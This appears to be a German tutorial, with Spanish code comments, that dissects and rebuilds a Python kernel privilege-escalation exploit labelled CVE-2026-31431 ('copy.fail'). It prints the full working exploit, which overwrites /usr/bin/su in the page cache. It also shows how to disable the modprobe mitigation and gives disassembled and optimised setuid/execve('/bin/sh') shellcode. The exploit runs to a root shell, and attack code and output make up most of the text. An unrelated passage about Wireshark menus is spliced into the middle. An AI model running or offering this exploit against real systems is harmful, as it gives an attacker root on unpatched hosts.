
CVE-2026-31431 (Kopierfehler) — Analyse und Entwicklung in x86-64-Assembler | Analyse und Entwicklung in x86-64-Assembler
Auf Basis des auf Theori veröffentlichten Quellcodes werden wir mehrere Übungen durchführen, bis wir ihn vollständig in reine Assemblersprache (ohne externe Bibliotheken) übertragen.```python #!/usr/bin/env python3
import os as g,zlib,socket as s def d(x):return bytes.fromhex(x) def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0 f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) while i<len(e):c(f,i,e[i:i+4]);i+=4 g.system("su")
## Testumgebung
Die Übung werden wir auf der folgenden Maschine durchführen.```bash
> $ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 24.04.4 LTS
Release: 24.04
Codename: noble
> $ uname -rm
6.19.4-061904-generic x86_64
Wir führen das Programm in Python aus, um zu validieren, ob das System anfällig ist. Wenn ein Fehler auftritt, ist es nicht anfällig; wenn die Shell sh geöffnet wird, ist es anfällig.```bash
$ python3 copyfail.py Traceback (most recent call last): File "/home/gmg/copy.fail/copyfail.py", line 11, in while i<len(e):c(f,i,e[i:i+4]);i+=4 ^^^^^^^^^^^^^^^ File "/home/gmg/copy.fail/copyfail.py", line 7, in c a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ FileNotFoundError: [Errno 2] No such file or directory
### Deaktivieren der Mitigation
Auf diesem Rechner wurde die Mitigation über die automatischen Sicherheitsupdates heruntergeladen, deshalb ist sie fehlgeschlagen.
Um es zu testen, umgehen wir die Abwehr, indem wir die Datei umbenennen, in der sich die Mitigation befindet.```bash
# Buscar si existe un modprobe explícito
> $ grep -r "algif" /etc/modprobe.d/
/etc/modprobe.d/disable-algif_aead.conf:# Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail)
/etc/modprobe.d/disable-algif_aead.conf:install algif_aead /bin/false
# Renombrar el archivo donde se encuentra la mitigación
> $ sudo mv /etc/modprobe.d/disable-algif_aead.conf /etc/modprobe.d/disable-algif_aead.conf.bak
Wir testen das Programm erneut und jetzt gibt es uns tatsächlich die Shell zurück, und wir überprüfen, dass wir root sind.```bash
$ python3 copyfail.py
uid=0(root) gid=1000(gmg) groups=1000(gmg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
### Schutz reaktivieren
Nach Abschluss der Übung führen wir Folgendes aus, um den Schutz wieder zu aktivieren:```bash
> $ sudo mv /etc/modprobe.d/disable-algif_aead.conf.bak /etc/modprobe.d/disable-algif_aead.conf
> $ sudo modprobe -r algif_aead
> $ sudo sync && echo 3 | sudo tee /proc/sys/vm/drop_caches
Das erste, was wir analysieren müssen, ist, um welchen String es sich handelt, der mit zlib komprimiert ist. Dazu erstellen wir ein Python-Programm, decompress.py, das es dekomprimiert und eine Datei erzeugt: output.bin.```python
import zlib
hex_data = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
data = zlib.decompress(bytes.fromhex(hex_data))
with open("output.bin", "wb") as f: f.write(data)
print(f"Archivo generado: output.bin ({len(data)} bytes)")
Wir führen aus und analysieren den Dateityp.```bash
> $ python3 decompress.py
Archivo generado: output.bin (160 bytes)
> $ file output.bin
output.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
Jetzt, da wir wissen, dass es sich um eine ELF 64-bit LSB executable-Datei handelt, untersuchen wir sie.```bash
$ readelf -a output.bin ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x400078 Start of program headers: 64 (bytes into file) Start of section headers: 0 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 1 Size of section headers: 0 (bytes) Number of section headers: 0 Section header string table index: 0
There are no sections in this file.
There are no section groups in this file.
Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000 0x000000000000009e 0x000000000000009e R E 0x1000
There is no dynamic section in this file.
There are no relocations in this file. No processor specific unwind information to decode
Dynamic symbol information is not available for displaying symbols.
No version information found in this file.
Die ELF-Struktur belegt **120 Bytes**: **ELF-Header** (64 Bytes) + **Programm-Header** (56 Bytes). Der Maschinencode beginnt ab Byte 120 (0x78), was mit der **Einstiegspunktadresse: 0x400078** übereinstimmt.
### Disassemblierung des Codes
Mit der **Einstiegspunktadresse: 0x400078** können wir nun mit der Disassemblierung des Codes beginnen.```bash
> $ objdump -D -b binary -m i386:x86-64 -M intel -z --start-address=0x78 output.bin
output.bin: file format binary
Disassembly of section .data:
0000000000000078 <.data+0x78>:
78: 31 c0 xor eax,eax
7a: 31 ff xor edi,edi
7c: b0 69 mov al,0x69
7e: 0f 05 syscall
80: 48 8d 3d 0f 00 00 00 lea rdi,[rip+0xf] # 0x96
87: 31 f6 xor esi,esi
89: 6a 3b push 0x3b
8b: 58 pop rax
8c: 99 cdq
8d: 0f 05 syscall
8f: 31 ff xor edi,edi
91: 6a 3c push 0x3c
93: 58 pop rax
94: 0f 05 syscall
96: 2f (bad)
97: 62 69 6e 2f 73 (bad)
9c: 68 .byte 0x68
9d: 00 00 add BYTE PTR [rax],al
9f: 00 .byte 0
Erklärung der einzelnen Parameter:
-D — Disassemble All. Zerlegt den gesamten Inhalt der Datei, nicht nur die als Code markierten Abschnitte. Ohne dies würde -d nur .text disassemblieren, und da diese Datei keine ELF-Abschnitte hat (es handelt sich um reines Binärformat), würde nichts angezeigt.-b binary — Binary format. Weist objdump an, die Datei als Rohdaten zu behandeln, ohne zu versuchen, ELF-Header zu parsen. Ohne dies würde objdump versuchen, den ELF-Header der Datei zu lesen und fehlschlagen oder falsch disassemblieren.-m i386:x86-64 — Machine architecture. Gibt den Befehlssatz für die Disassemblierung an. i386 ist die Basis-Familie, :x86-64 spezifiziert den 64-Bit-Modus. Erforderlich bei Verwendung von -b binary, da objdump ohne ELF-Header keine Möglichkeit hat, die Architektur zu erkennen. Ohne -m wird i386 (32-Bit) angenommen und die Disassemblierung wird falsch — 64-Bit-Instruktionen wie lea rdi, [rip+0xf] werden als Müll dekodiert.-M intel — Syntax mode. Verwendet Intel-Syntax () anstelle von AT&T ().Zusammenfassung: mit -b binary ist -m erforderlich, weil objdump die Architektur ohne einen ELF-Header nicht ableiten kann. Bei einer normalen ELF-Datei (ohne -b binary) ist -m nicht nötig, da die Architektur im e_machine-Feld des Headers enthalten ist.
Der Parameter -z ist in diesem Fall entscheidend, da es, wie wir später sehen werden, Nullen gibt, die als Padding verwendet werden, und ohne diesen Parameter würde das Folgende angezeigt und wir hätten nicht die exakte Disassemblierung.```bash
9d: 00 00 add BYTE PTR [rax],al
...
### Identifikation des Strings "/bin/sh"
In der Ausgabe von objdump sehen wir:```bash
96: 2f (bad)
97: 62 69 6e 2f 73 (bad)
9c: 68 .byte 0x68
9d: 00 00 add BYTE PTR [rax],al
9f: 00 .byte 0
und an der Adresse 0x80 haben wir:```bash 80: 48 8d 3d 0f 00 00 00 lea rdi,[rip+0xf] # 0x96
Aus dieser letzten Zeile schließen wir, dass es sich um einen String handelt, der an der Adresse 0x96 beginnt und bei 0x9F endet. Wir können den String auf folgende Weisen sehen:```bash
> $ strings -t x output.bin
96 /bin/sh
> $ xxd -s 0x96 -l 10 output.bin
00000096: 2f62 696e 2f73 6800 0000 /bin/sh...
Das erste 00 ist der Nullterminator, der das Ende des Strings (/bin/sh\0) markiert. Die beiden restlichen 00 sind Auffüllung für die Ausrichtung.
Wenn wir den Code bereinigen, erhalten wir Folgendes:```assembly ; Archivo: payload.asm
BITS 64
section .text xor eax, eax ; rax = 0 xor edi, edi ; rdi = 0 mov al, 0x69 ; rax = 105 (setuid) syscall ; setuid(0)
lea rdi, [rel shell_string] ; rdi -> "/bin/sh"
xor esi, esi ; rsi = 0 (argv = NULL)
push 0x3b ; 59 (execve)
pop rax
cdq ; rdx = 0 (envp = NULL)
syscall ; execve("/bin/sh", NULL, NULL)
xor edi, edi ; rdi = 0
push 0x3c ; 60 (exit)
pop rax
syscall ; exit(0)
shell_string: db "/bin/sh", 0 ; string con terminador NULL db 0, 0 ; padding de alineación
> Das Padding stellt sicher, dass die Gesamtgröße durch 4 teilbar ist, da der Python-Exploit das Payload im Page Cache in 4-Byte-Chunks schreibt. Wenn die Größe kein Vielfaches von 4 wäre, wäre der letzte Chunk unvollständig und der Schreibvorgang wäre fehlerhaft.
### Identitätsprüfung mit dem Original
Wir überprüfen, dass dieser Code identisch mit der Datei **output.bin** ist, die wir durch Dekomprimieren des Strings erzeugt haben, indem wir als Binärdatei kompilieren:```bash
> $ nasm -f bin payload.asm -o payload.bin
Wir extrahieren nur den Code aus der Datei output.bin. Da wir wissen, dass die ersten 120 Bytes der ELF-Struktur entsprechen, überspringen wir diese Anzahl von Bytes.```bash
$ dd if=output.bin bs=1 skip=120 > payload-original.bin 40+0 records in 40+0 records out 40 bytes copied, 0,00247062 s, 16,2 kB/s
Wir bestätigen, dass unser Code mit dem ursprünglichen Payload identisch ist. Es werden drei Möglichkeiten gezeigt, dies zu tun.```bash
> $ diff -s payload-original.bin payload.bin
Files payload-original.bin and payload.bin are identical
> $ cmp -s payload-original.bin payload.bin && echo "-->> Idénticos" || echo "-->> Distintos"
-->> Idénticos
> $ md5sum payload-original.bin payload.bin | awk '{h[NR]=$1; print} END {print (h[1]==h[2]) ? "-->> Idénticos" : "-->> Distintos"}'
a48e81f49bfd55a8f7ec72a5c29a1e31 payload-original.bin
a48e81f49bfd55a8f7ec72a5c29a1e31 payload.bin
-->> Idénticos
Da wir sicher sind, dass der Code payload.asm exakt dem Original entspricht, werden wir ihn optimieren.```assembly ; Archivo: payload-optimized.asm
BITS 64
section .text xor edi, edi ; rdi = 0 push 0x69 ; 105 (setuid) pop rax ; rax = 105 syscall ; setuid(0)
xor esi, esi ; rsi = 0 (argv = NULL)
mov rbx, 0x0068732f6e69622f ; rbx = "/bin/sh\0"
push rbx ; string al stack
push rsp ; push dirección del string
pop rdi ; rdi → "/bin/sh" en stack
push 0x3b ; 59 (execve)
pop rax
cdq ; rdx = 0 (envp = NULL)
syscall ; execve("/bin/sh", NULL, NULL)
xor edi, edi ; rdi = 0
push 0x3c ; 60 (exit)
pop rax
syscall ; exit(0)
db 0 ; padding de alineación
> Auffüllung zur Ausrichtung: 120 (headers) + 35 (Code) = 155 -> +1 Byte = 156 / 4 = 39 Chunks.
Im **Teil 2** werden wir im Detail den Grund jeder Optimierung sehen.
Wir kompilieren:```bash
> $ nasm -f bin payload-optimized.asm -o payload-optimized.bin
Um die Payloads direkt auszuführen, müssen wir sie wie folgt kompilieren und linken:```bash
$ nasm -f elf64 payload.asm -o payload.o $ ld payload.o -o payload ld: warning: cannot find entry symbol _start; defaulting to 0000000000401000 $ ./payload $
$ nasm -f elf64 payload-optimized.asm -o payload-optimized.o $ ld payload-optimized.o -o payload-optimized ld: warning: cannot find entry symbol _start; defaulting to 0000000000401000 $ ./payload-optimized $
Wenn wir die Warnung entfernen möchten, sollten wir nach **`section .text`** die folgenden Zeilen hinzufügen:```assembly
global _start
_start:
Wir kombinieren die ELF-Header (die ersten 120 Bytes) des ursprünglichen Payloads (output.bin) und den optimierten 36-Byte-Payload (payload-optimized.bin). Wir führen einige Überprüfungen durch, setzen Ausführungsberechtigungen und erhalten beim Ausführen die Shell.```bash
$ { dd if=output.bin bs=1 count=120; cat payload-optimized.bin; } > payload-optimized.elf 120+0 records in 120+0 records out 120 bytes copied, 0,000526437 s, 228 kB/s
$ ls -l payload-optimized.elf -rw-rw-r-- 1 gmg gmg 156 may 14 17:55 payload-optimized.elf
$ file payload-optimized.elf payload-optimized.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
$ chmod +x payload-optimized.elf
$ ./payload-optimized.elf $
## Analyse der ELF-Header
Durch die Verkettung der Header (120 Bytes) der ursprünglichen ELF-Datei mit unserem optimierten Payload (36 Bytes) ergibt sich eine resultierende Datei von 156 Bytes, aber die Felder **p_filesz** und **p_memsz** in den Headern zeigen weiterhin 158 an, den Wert der ursprünglichen Datei von 160 Bytes. Wir werden diese Felder analysieren und korrigieren.
Dazu müssen wir die Strukturen der Header einer ELF-Datei kennen.```c
// --- ELF Header (64 bytes) ---
// Definido en <elf.h> como Elf64_Ehdr
struct Elf64_Ehdr { // Offset Bytes
unsigned char e_ident[16]; // 0x00 16
uint16_t e_type; // 0x10 2
uint16_t e_machine; // 0x12 2
uint32_t e_version; // 0x14 4
uint64_t e_entry; // 0x18 8
uint64_t e_phoff; // 0x20 8
uint64_t e_shoff; // 0x28 8
uint32_t e_flags; // 0x30 4
uint16_t e_ehsize; // 0x34 2
uint16_t e_phentsize; // 0x36 2
uint16_t e_phnum; // 0x38 2
uint16_t e_shentsize; // 0x3A 2
uint16_t e_shnum; // 0x3C 2
uint16_t e_shstrndx; // 0x3E 2
}; // Total: 64 bytes
// --- Program Header (56 bytes) ---
// Definido en <elf.h> como Elf64_Phdr
struct Elf64_Phdr { // Offset Bytes
uint32_t p_type; // 0x40 4
uint32_t p_flags; // 0x44 4
uint64_t p_offset; // 0x48 8
uint64_t p_vaddr; // 0x50 8
uint64_t p_paddr; // 0x58 8
uint64_t p_filesz; // 0x60 8
uint64_t p_memsz; // 0x68 8
uint64_t p_align; // 0x70 8
}; // Total: 56 bytes
Wir beobachten, welche Werte p_filesz und p_memsz des Program Header haben. Sie geben an, wie viele Bytes des Segments in der Datei auf der Festplatte vorhanden sind und wie viele beim Laden im Speicher reserviert werden.
Die Offsets von p_filesz und p_memsz sind 0x60 bzw. 0x68.```bash
$ xxd -s 0x60 -l 8 -p output.bin 9e00000000000000
$ xxd -s 0x68 -l 8 -p output.bin 9e00000000000000
### Überprüfung der Endianness
Optisch stellen wir fest, dass die Werte im **Little-Endian**-Format vorliegen, da sie bei Big-Endian enorm groß wären und nicht mit der Größe von 160 Bytes übereinstimmen würden. Zur Bestätigung prüfen wir, welchen Wert **e_ident[5]** im ELF-Header hat.
Die möglichen Werte sind:
| Wert | Konstante | Bedeutung |
|---|---|---|
| 0x01 | ELFDATA2LSB | Little-Endian (x86, x86-64, ARM) |
| 0x02 | ELFDATA2MSB | Big-Endian (SPARC, PowerPC, MIPS BE) |
Wir führen aus:```bash
> $ xxd -s 5 -l 1 -p output.bin
01
Bestätigt, dass es im Little-Endian-Format ist. Wir sehen die Werte in Dezimal:```bash
$ od -An -t u8 -j 0x60 -N 8 output.bin 158
$ od -An -t u8 -j 0x68 -N 8 output.bin 158
### Größenvergleich
Wir listen die Dateigrößen auf.```bash
> $ ls -l output.bin payload-optimized.elf
-rw-rw-r-- 1 gmg gmg 160 may 12 18:03 output.bin
-rwxrwxr-x 1 gmg gmg 156 may 14 17:55 payload-optimized.elf
Die Größe der Originaldatei beträgt 160 Bytes, aber in der Struktur sind 158 Bytes zugewiesen. Das liegt daran, dass die Datei am Ende zwei Padding-Bytes hat und der Autor sich entschieden hat, genau zu sein und nur die Bytes anzugeben, die geladen werden. Wenn es statt 158 160 hätte, würde es auch korrekt ausgeführt werden, da die beiden Padding-Bytes niemals ausgeführt werden (sie befinden sich nach exit) und auch nicht referenziert werden.
Unsere optimierte Datei belegt 156 Bytes und hat ein Padding-Byte. In derselben Präzisionslinie des Autors des Programms werden wir p_filesz und p_memsz auf 155 setzen.
Wir konvertieren 155 von Dezimal in Hexadezimal.```bash
$ echo "obase=16; 155" | bc 9B
$ printf '%x\n' 155 9b
Es ist eine gute Praxis, dass die Felder **p_filesz** und **p_memsz** des Program Header die richtigen Werte haben.```bash
> $ printf '\x9b' | dd of=payload-optimized.elf bs=1 seek=$((0x60)) count=1 conv=notrunc
1+0 records in
1+0 records out
1 byte copied, 0,000686896 s, 1,5 kB/s
> $ printf '\x9b' | dd of=payload-optimized.elf bs=1 seek=$((0x68)) count=1 conv=notrunc
1+0 records in
1+0 records out
1 byte copied, 0,000130524 s, 7,7 kB/s
Wir bestätigen, dass die Änderungen korrekt angewendet wurden.```bash
$ od -An -t u8 -j 0x60 -N 8 payload-optimized.elf 155
$ od -An -t u8 -j 0x68 -N 8 payload-optimized.elf 155
Wir können es auch bestätigen, indem wir uns den Program Header ansehen.```bash
> $ readelf -l payload-optimized.elf
Elf file type is EXEC (Executable file)
Entry point 0x400078
There is 1 program header, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000
0x000000000000009b 0x000000000000009b R E 0x1000
Wir führen es aus und es funktioniert weiterhin einwandfrei.```bash
$ ./payload-optimized.elf $
## Integración en el exploit
Creamos un programa que comprima el payload optimizado y devuelva el string hexadecimal para insertarlo en el exploit.```python
# Archivo: compress.py
import zlib
with open("payload-optimized.elf", "rb") as f:
data = f.read()
compressed = zlib.compress(data)
print(f"Original: {len(data)} bytes -> Comprimido: {len(compressed)} bytes")
print(compressed.hex())
Alle Optionen zur Capture-Verwaltung finden sich im Menü Capture → Options. Beim Rechtsklick erscheinen ebenfalls weitere Optionen.
Hinweis: Wenn die Sitzung beim Schließen nicht gespeichert wurde, gehen die Daten verloren.
Die Dateiextraktion ermöglicht die Wiederherstellung von Objekten, die über Protokolle wie HTTP, SMB oder SMTP übertragen wurden. Sie befindet sich im Menü Extras → Dateien extrahieren oder im Kontextmenü Elemente aus dem Protokollbaum extrahieren.
Hinweis: Die Extraktion kann unvollständige Ergebnisse liefern, wenn der Datenverkehr verschlüsselt oder fragmentiert ist.```bash
$ python3 compress.py Original: 156 bytes -> Comprimido: 86 bytes 789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e0de5c16806010865f83f2b33829fd5f09bc76efda4cc3cfde20c86e090f82ceb889940c1ff59364039060003f110d6
Wir ersetzen den komprimierten String im ursprünglichen Exploit durch den neuen optimierten String.```python
#!/usr/bin/env python3
# Archivo: copyfail-optimized.py
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e0de5c16806010865f83f2b33829fd5f09bc76efda4cc3cfde20c86e090f82ceb889940c1ff59364039060003f110d6"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
Wir haben den Exploit mit dem optimierten Payload getestet und bestätigt, dass er korrekt funktioniert.```bash
$ python3 copyfail-optimized.py
uid=0(root) gid=1000(gmg) groups=1000(gmg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
> ⚠️ Vergiss nicht, [den Schutz zu reaktivieren](#reactivar-la-protección), sobald der Test abgeschlossen ist.
## Kontakt
Wenn du Fragen, Vorschläge oder Korrekturen hast, schreib mir unter Angabe des Repository-Namens an:
✉️ `[email protected]`
mov al, 0x69mov $0x69, %al-z — Deaktiviert die Unterdrückung von Nullsequenzen. Auf diese Weise wird alles ohne Auslassung von Nullen angezeigt.--start-address=0x78 — Startet ab Offset 0x78 (120 Bytes). Überspringt die ELF-Header und Program-Header des Payloads und disassembliert nur den Maschinencode. Ohne dies würde es die Header disassemblieren, als ob sie Anweisungen wären.